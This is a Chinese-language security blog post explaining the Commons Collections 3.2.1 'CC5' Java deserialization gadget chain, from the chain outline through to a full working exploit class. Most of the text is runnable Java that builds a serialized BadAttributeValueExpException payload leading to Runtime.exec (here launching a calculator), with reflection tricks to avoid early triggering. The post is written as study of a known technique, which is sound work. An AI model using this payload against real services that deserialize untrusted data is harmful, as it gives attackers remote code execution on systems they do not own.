参考链接
环境搭建
Commons.Collections 3.2.1
jdk8u65
利用链分析
后面都和CC1-LazyMap一样,前面的话,改了下调用lazyMap.get的函数和入口类,没啥好分析的
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
*/
Exp编写
LazyMap.get()
这里复习一下CC1-LazyMap,通过lazyMap.get("xxx");即可触发命令执行
public class TestCC5 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key1","value1");
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap,chainedTransformer);
lazyMap.get("Jasper");
}
}
TiedMapEntry.toString()
toString()会调用到map.get(key),通过构造函数设置map=lazyMap即可接上链条。
//CC1-LazyMap 后半段
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
// 前半段不同的
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "jasper");
tiedMapEntry.toString();
BadAttributeValueExpException.readObject()
这里有现成的toString方法,只需要把val给改成tiedMapEntry就好,而这个val是反序列化的时候获得的序列化流里的名字为"val"的Field,这里我们把他设置成tiedMapEntry就行。
需要注意在BadAttributeValueExpException的构造函数里也会执行val.toString(),为了避免在反序列化前就触发链条,我们不在构造函数里设置val,我们还是用老方法,先改空值,再改回去。
- BadAttributeValueExpException的构造函数传null,val赋值为null,获得badAttributeValueExpException对象
- 通过反射badAttributeValueExpException设置对象的val值
//传入null,避免提前触发链条,后面反射改值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = BadAttributeValueExpException.class;
Field valField = clazz.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
最终Exp
public class TestCC5 {
public static void main(String[] args) throws Exception{
//CC1-LazyMap 后半段
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"Calc"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put("key","value");
Map lazyMap = (Map) LazyMap.decorate(hashMap,chainedTransformer);
// lazyMap.get("Jasper");
// 前半段不同的
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "jasper");
// tiedMapEntry.toString();
//传入null,避免提前触发链条,后面反射改值
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Class clazz = BadAttributeValueExpException.class;
Field valField = clazz.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException,tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize();
}
public static void serialize(Object o) throws Exception{
FileOutputStream fos = new FileOutputStream("object.ser");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
System.out.println("序列化完成...");
}
public static void unserialize() throws Exception{
FileInputStream fis = new FileInputStream("object.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
//反序列化执行readObject()方法
Object o = ois.readObject();
ois.close();
fis.close();
System.out.println("反序列化完成...");
}
}
总结
本质就是在LazyMap.get()的基础上换了个入口类,可以和CC1-LazyMap、CC6对比着看。
标签:null,Java,CC5,Object,Class,LazyMap,new,序列化,class From: https://www.cnblogs.com/jasper-sec/p/17880627.html